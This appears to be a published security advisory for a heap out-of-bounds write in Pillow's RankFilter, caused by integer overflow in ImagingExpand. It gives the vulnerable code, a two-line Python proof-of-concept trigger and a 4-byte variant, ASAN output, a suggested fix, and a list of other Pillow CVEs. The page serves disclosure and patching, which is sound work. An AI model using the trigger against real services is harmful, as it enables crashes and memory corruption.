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High

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

  • Disclosed: 14.07.2026
  • Updated: 11.10.2026 15:17

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

python
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

python
class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

c
if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

c
for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

c
if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

python
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

python
from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

c
if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow < 12.3.0 12.3.0

References

CVSS score 8.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Weakness (CWE)
CWE-190
Platform
Python (PyPI)
Package
pillow
Disclosed
14.07.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3454 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-xj96-63gp-2gmr - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 10
  • High 53
  • Medium 16
  • Low 1
  • Unrated 1

Disclosures per year

earlier: 12

Severity:
  1. Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
    High CVE-2026-112397 < 13.0.0 13.0.0
  2. Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
    High CVE-2026-112400 >= 9.2.0, < 13.0.0 13.0.0
  3. Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
    High CVE-2026-112895 >= 5.1.0, < 13.0.0 13.0.0
  4. Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
    High CVE-2026-59204 >= 8.2.0, < 12.3.0 12.3.0
  5. Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
    High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
    High CVE-2026-54058 < 12.3.0 12.3.0
  7. Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand` this entry
    High · 8.2 CVE-2026-59197 < 12.3.0 12.3.0
  8. Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
    High · 7.5 CVE-2026-59205 < 12.3.0 12.3.0
  9. Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
    High · 7.5 CVE-2026-59199 < 12.3.0 12.3.0
  10. Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
    High · 7.5 CVE-2026-54060 < 12.3.0 12.3.0
  11. Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
    High · 7.5 CVE-2026-54059 < 12.3.0 12.3.0
  12. Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
    High · 7.5 CVE-2026-55379 < 12.3.0 12.3.0
  13. Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
    High · 7.5 CVE-2026-55380 < 12.3.0 12.3.0
  14. Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)
    High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  15. FITS GZIP decompression bomb in Pillow
    High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  16. Pillow affected by out-of-bounds write when loading PSD images
    High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  17. Pillow vulnerability can cause write buffer overflow on BCn encoding
    High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  18. Pillow buffer overflow vulnerability
    High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  19. Arbitrary Code Execution in Pillow
    Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  20. An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of
    High · 7.5 CVE-2023-44271 < 10.0.0 10.0.0
Show more (20) Showing 20 of 63

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